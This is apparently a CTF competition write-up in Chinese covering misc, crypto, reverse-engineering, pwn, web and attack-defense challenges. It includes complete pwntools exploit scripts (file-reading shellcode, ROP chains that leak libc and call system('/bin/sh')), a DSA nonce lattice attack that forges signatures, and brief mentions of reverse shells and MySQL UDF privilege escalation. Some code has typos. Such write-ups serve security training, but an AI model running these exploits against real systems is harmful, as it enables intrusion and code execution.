Misc
初探勒索病毒
跟着公众号操作来就行
sed -i 's/flags/"flags"/' ./decryptblocks.py
export SRL_IGNORE_MAGIC=1
./decryptblocks.py ./banana.jpg.sah28vut5 ./key.block
前后md5sum一下发现不一样的,之后cp为图片即可
Cry
ezzzecc
利用
$$
y \equiv x^3 + ax + b \mod p
$$
网上有差不多一样的原题,改一下板子,改一下爆破范围加快爆破私钥速度即可
from Crypto.Util.number import *
import gmpy2
a = 87425770561190618633288232353256495656281438408946725202136726983601884085917
b = 107879772066707091306779801409109036008421651378615140327877558014536331974777
K = (49293150360761418309411209621405185437426003792008480206387047056777011104939 , 43598371886286324285673726736628847559547403221353820773139325027318579443479)
G = (34031022567935512558184471533035716554557378321289293120392294258731566673565 , 74331715224220154299708533566163247663094029276428146274456519014761122295496)
c1 = (3315847183153421424358678117707706758962521458183324187760613108746362414091 , 61422809633368910312843316855658127170184420570309973276760547643460231548014)
c2 = (12838481482175070256758359669437500951915904121998959094172291545942862161864 , 60841550842604234546787351747017749679783606696419878692095419214989669624971)
cipher_left = 75142205156781095042041227504637709079517729950375899059488581605798510465939
cipher_right = 61560856815190247060747741878070276409743228362585436028144398174723191051815
#p = koZP3YQAklARRNrmYfjxoKIAXegOcG4jMOmKb08uESOkCCn72d6UM2NWgefYPEMq4EJ1M0jKaqt02Guo5Ubccjqg4QZaaHbScREx38UMLQKwG0LcDd8VFX1zkobc1ZQn4L3DhKQrgJZI55todgOdJuHN532bxScAvOF26gJyQclPtRHn3M6SHrRCEXzzmszd68PJlLB6HaabrRrCW9ZoAYSZetM5jDBtNCJLpR0CBZUUk3Oeh2MZQu2vk8DZ1QqNG49hlxGfawp1FXvAZPdMwixzkhEQnbCDcOKzYyT6BZF2Dfd940tazl7HNOswuIpLsqXQ2h56guGngMeYfMXEZV09fsB3TE0N934CLF8TbZnzFzEkOe8TPTK2mWPVSrgmbsGHnxgYWhaRQWg3yosgDfrEa5qfVl9De41PVtTw024gltovypMXK5XMhuhogs0EMN7hkLapLn6lMj
k1p = (K[0]^3 + a*K[0] + b) - K[1]^2
k2p = (G[0]^3 + a*G[0] + b) - G[1]^2
p = gmpy2.gcd(k1p,k2p)
print(p)
E = EllipticCurve(GF(p),[a,b])
G = E(G)
K = E(K)
c1 = E(c1)
c2 = E(c2)
#私钥k小于1000000
#加快一下爆破速率
for k in range(2^17,2^18):
M = c1 - c2*k
m1 = cipher_left*inverse(M[0],p) % p
m2 = cipher_right*inverse(M[1],p) % p
flag1 = long_to_bytes(m1)
flag2 = long_to_bytes(m2)
flag = flag1 + flag2
if b"flag{" in flag:
print(flag)
break
sage跑
Signature
推导过程
$$
\therefore k \equiv s^{-1}h + s^{-1}xr \mod q
$$
$$
(r_0s_i)k_i - (r_1s_0)k_0 \equiv (h_ir_0-h_0r_i) \mod q
$$
$$
k_i - (r_0s_i)^{-1}(r_1s_0)k_0 \equiv (r_0s_i)^{-1}(h_ir_0-h_0r_i) \mod q
$$
令$A = (r_0s_i)^{-1}(r_1s_0) \mod q$,$B = (r_0s_i)^{-1}(h_ir_0-h_0r_i) \mod q$
$$
k_i \equiv A_ik_0 + B_i \mod q
$$
构造出格之后,再求k0,之后再求r,s,最后发过去r,s即可
$$
\begin{pmatrix}
t_1 & t_2 &...&t_8 & k_0&1
\end{pmatrix}
\begin{pmatrix}
q & 0 & ... & 0 & 0 & 0\
0 & q & ... & 0 & 0 & 0\
\vdots & \vdots & \ddots & \vdots & \vdots&\vdots\
0 & 0 & ... & q & 0 & 0\
A_1 & A_2 & ... & A_8 & 1 & 0\
B_1 & B_2 & ... & B_8 & 0 & K\
\end{pmatrix}
\begin{pmatrix}
k_1 &k_2 & ... & k_8 & k_0 & K
\end{pmatrix}
$$
做着做着发现和RCTF的一道题非常像,不用爆破位数就好多了
exp:
# coding=utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
import hashlib
import itertools
from tqdm import *
from Crypto.Util.number import *
p = remote('8.147.128.163', 36962)
s = lambda data : p.send(data)
ss = lambda data : p.send(str(data))
sa = lambda delim,data : p.sendafter(str(delim), str(data))
sl = lambda data : p.sendline(data)
sls = lambda data : p.sendline(str(data))
sla = lambda delim,data : p.sendlineafter(str(delim), str(data))
r = lambda num : p.recv(num)
ru = lambda delims, drop=True : p.recvuntil(delims, drop)
itr = lambda : p.interactive()
def main():
def pass_proof(head):
password = 'happytheyearofloong'
table = itertools.product([0,1],repeat=19)
for i in tqdm(table):
getin = ""
for j in range(len(i)):
if i[j] == 0:
getin += password[j].lower()
else:
getin += password[j].upper()
msg = getin[:5] + "_" + getin[5:8] + "_" + getin[8:12] + "_" + getin[12:14] + "_" + getin[14:]
h = hashlib.sha256(msg.encode()).hexdigest()
if h[:6] == head:
print(msg)
return msg
head = p.recvline().strip().decode().split(" ")[-1]
msg = pass_proof(head)
p.recvuntil(b"Plz input your token")
p.sendlineafter(b">", msg.encode())
p.recvuntil(b"3.get my key\n")
p.sendlineafter(b">", b"3")
(p, q, g) = eval(p.recvline().strip().decode().split("Oh,your key is ")[-1])
H = []
R = []
S = []
for i in range(8):
name = b"a" * (i + 1)
p.recvuntil(b"3.get my key\n")
p.sendlineafter(b">", b"1")
p.sendlineafter(b"Username:", name)
data = p.recvline().strip().decode()
print(data)
r = int(data.split(" ")[-1].split(',')[0])
s = int(data.split(" ")[-1].split(',')[1])
h = int(halib.sha256(name).hexdigest(), 16)
R.append(r)
S.append(s)
H.append(h)
def get_k():
n = len(R)
r0 = R[0]
h0 = H[0]
s0 = S[0]
A = []
B = []
for i in range(n):
a = inverse((r0 * S[i]), q) * (R[i] * s0) % q
b = inverse((r0 * S[i]), q) * (H[i] * r0 - h0 * R[i])
A.append(a)
B.append(b)
Ge = Matrix(ZZ, n + 2, n + 2)
for i in range(n):
Ge[i, i] = q
Ge[-2, i] = A[i]
Ge[-1, i] = B[i]
K = 2 ** 128
Ge[-2, -2] = 1
Ge[-1, -1] = K
for line in Ge.LLL():
if abs(line[-1]) == K:
return line[-2]
k0 = get_k()
print(f"k0 = {k0}")
p.recvuntil(b"3.get my key\n")
p.sendlineafter(b">", b"2")
p.recvline()
x = int(p.recvline().strip().decode())
r = pow(g, k0, p) % q
hh = int(hashlib.sha256(b"admin").hexdigest(), 16)
s = pow(k0, -1, q) * (hh + x * r) % q
sla(b"r:", str(r).encode())
sla(b"s:", str(s).encode())
print(p.recvline().strip().decode())
print(p.recvline().strip().decode())
if __name__ == "__main__":
main()
Re
snack
ida看发现有pyinstaller打包的痕迹
直接解包,需要用python3.8解包
得到key.pyc和snack.pyc
给出了解密函数,需要修一下,之后直接用即可
def initialize(key):
key_length = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = S[j], S[i]
return S
def generate_key_stream(S, length):
i = 0
j = 0
key_stream = []
for _ in range(length):
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
key_stream.append(S[(S[i] + S[j]) % 256])
return key_stream
def decrypt(data, key):
S = initialize(key)
key_stream = generate_key_stream(S, len(data))
decrypted_data = bytes([data[i] ^ key_stream[i] ^ i for i in range(len(data))])
return decrypted_data
data = [
101, 97, 39, 125, 218, 172, 205, 3, 235, 195,
72, 125, 89, 130, 103, 213, 120, 227, 193, 67,
174, 71, 162, 248, 244, 12, 238, 92, 160, 203,
185, 155
]
key = 'V3rY_v3Ry_Ez'
key_bytes = bytes(ord(char) for char in key)
decrypted_data = decrypt(bytes(data), key_bytes)
print(decrypted_data)
Pwn
Shuffled_Execution
利用shellcode实现orw的题目
这里有判断长度,不过可以利用00截断绕过
开了沙箱
随机数
seccomp看一下,发现禁用了read,可以用writev输出
所以要构造不被随机数打乱的00绕过的shellcode进行orw
exp:
#coding=utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
context.log_level='debug'
context.arch='amd64'
p=remote('8.147.128.163',33369)
#p=process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
s = lambda data :p.send(data)
ss = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(p)
pause()
ru('\x1B[1;31mThe only chance to pass the entrance.\n\x1B[0m')
shellcode="""
mov rbp,0x1337100
mov rsp,rbp
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat
pop rax
syscall
mov rdi, 3
push 0x100
lea rbx, [rsp-8]
push rbx
mov rsi, rsp
mov rdx, 1
xor r10, r10
xor r8, r8
push SYS_preadv2
pop rax
syscall
push 1
pop rdi
push 0x1
pop rdx
push 0x100
lea rbx, [rsp+8]
push rbx
mov rsi, rsp
push SYS_writev
pop rax
syscall
"""
pl=asm(shellcode)
sl(pl)
itr()
stdout
main中read有溢出
但是溢出只能覆盖ret_addr
在vuln中溢出很大,可以利用ret2csu在bss段上部署数据,数据量比较大,不能一下子全送过去,程序会直接崩的,需要sleep慢点送
之后就是ret2libc
exp:
#coding=utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
context.log_level='debug'
context.arch='amd64'
p=remote('8.147.128.22',21568)
#p=process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
s = lambda data :p.send(data)
ss = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(p)
pause()
start=0x401130
rdi_ret=0x00000000004013d3
ret=0x000000000040101a
rsi_r15_ret=0x00000000004013d1
csu_rear=0x4013CA
csu_head=0x4013B0
bss=0x4041a0
read_plt=0x4010D0
puts_plt=0x4010B0
puts_got=elf.got['puts']
leak('puts_got',puts_got)
p.send(b'\x00'*(0x50)+p64(0)+p64(0x40125D))
sleep(0.5)
payload=b'\x00'*(0x20+0x8)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start)
p.send(payload)
sleep(0.5)
p.send(b'\x00'*(0x50+0x8)+p64(0x40125D))
sleep(0.5)
payload=b'\x00'*(0x20+0x8)+p64(rdi_ret)+p64(0)+p64(rsi_r15_ret)+p64(bss)*2+p64(read_plt)
payload2=p64(csu_rear)+p64(0)+p64(1)+p64(0)+p64(bss)+p64(0x1000)+p64(bss)
payload3=p64(csu_head)+p64(0)*7+p64(read_plt)+p64(rdi_ret)+p64(bss)+p64(puts_plt)+p64(start)
pl=payload+payload2+payload3
p.sendline(pl)
sleep(0.5)
p.sendline(p64(ret))
sleep(0.5)
p.sendline(b'a'*(1024))
sleep(0.5)
p.send(b'\x00'*(0x50+0x8)+p64(0x40125D))
sleep(0.5)
payload=b'\x00'*(0x20+0x8)+(p64(rdi_ret)+p64(bss)+p64(puts_plt))*6+p64(start)
p.send(payload)
leak_add=u64(p.recvuntil(b'\x7f',timeout=0.5)[-6:]+b'\x00\x00')
libcbase=leak_add-libc.symbols['puts']
system_addr=libcbase+libc.symbols['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
leak('libcbase',libcbase)
p.send(b'\x00'*(0x50+0x8)+p64(0x40125D))
pl=b'\x00'*(0x20+0x8)+p64(rdi_ret)+p64(binsh)+p64(system_addr)
p.send(pl)
itr()
Web
brother
fenjing梭
之后弹shell
看api.py
给出了数据库,结合提权应该是udf提权
之后换个正常一点的shell
之后mysql连接
之后udf提权即可64位写so
Awdp
ezSpring
fix
分析jar包,反编译后看,发现
明显的jndi注入,直接gpt跑一个白名单即可
package com.example.ezspring.controller;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
@RequestMapping("/admin")
public class AdminController {
// 白名单路径
private static final String ALLOWED_URL_PREFIX = "java:comp/";
public AdminController() {
}
@RequestMapping("/*")
public String admin() {
return "admin";
}
@RequestMapping("/lookup/*")
@ResponseBody
public String lookup(@RequestParam(value = "url", required = false) String url) {
if (url == null) {
return "missing url parameter";
} else if (!isAllowedUrl(url)) {
return "Invalid url";
} else {
try {
Context ctx = new InitialContext();
Object result = ctx.lookup(url);
return "Lookup successful: " + result;
} catch (NamingException e) {
e.printStackTrace();
return "Lookup failed";
}
}
}
// 白名单验证函数
private boolean isAllowedUrl(String url) {
return url.startsWith(ALLOWED_URL_PREFIX);
}
}
simplegoods
fix
直接修judge的文件上传即可
多加点黑名单
即可过check
simpleSys
break
可以看到有4个功能
挨个跟进,发现admin中有一个类型错误,转换后负数可以变为正数从而绕过
账号密码是挨着的
溢出字节多的话密码是可控的,我们可以让密码直接为空,直接绕过检测,之后就是正常打libc了
exp:
#coding=utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
from LibcSearcher import *
#context.log_level='debug'
context.arch='amd64'
#p=remote('39.106.48.123',23011)
p=process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
s = lambda data :p.send(data)
ss = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(p)
pause()
def sign(name,passwd):
p.recvuntil(b'choice')
p.sendline(b'1')
p.recvuntil(b'username')
p.sendline(name)
p.recvuntil(b'password')
p.sendline(passwd)
def login(name,passwd):
p.recvuntil(b'choice')
p.sendline(b'2')
p.recvuntil(b'username')
p.sendline(name)
p.recvuntil(b'password')
p.send(passwd)
def admin():
p.recvuntil(b'choice')
p.sendline(b'3')
def send(context,flag=b'n',length=b'-1'):
p.recvuntil(b'length')
p.sendline(length)
sleep(0.2)
p.sendline(context)
p.recvuntil(b'A')
add=u64(p.recv(6).ljust(8,b'\x00'))
p.recvuntil(b'[y/n]')
p.sendline(flag)
return add
login(b'root',b'a'*36)
admin()
elf_addr= send(b'a'*(0x60+0x7)+b'A')
elf_base=elf_addr-0x187D
leak('elf_base',elf_base)
rdi_ret=elf_base+0x0000000000001751
ret=elf_base+0x000000000000101a
read_got=elf.got['read']+elf_base
puts_plt=elf.plt['puts']+elf_base
start=elf_base+0x000000000001180
pl=b'A'*(0x60+0x8)+p64(rdi_ret)+p64(read_got)+p64(puts_plt)+p64(start)
send(pl,b'y')
leak_addr=l64()
leak('leak_addr',leak_addr)
libcbase_addr=leak_addr-libc.symbols['read']
system=libcbase_addr+libc.symbols['system']
leak('system',system)
binsh=libcbase_addr+next(libc.search(b'/bin/sh\x00'))
leak('binsh',binsh)
admin()
pl=b'A'*(0x60+0x8)+p64(ret)+p64(rdi_ret)+p64(binsh)+p64(system)
send(pl,b'y')
itr()
fix
一开始改80这个数值发现过不了check,直接改汇编即可
我改的jbe过了check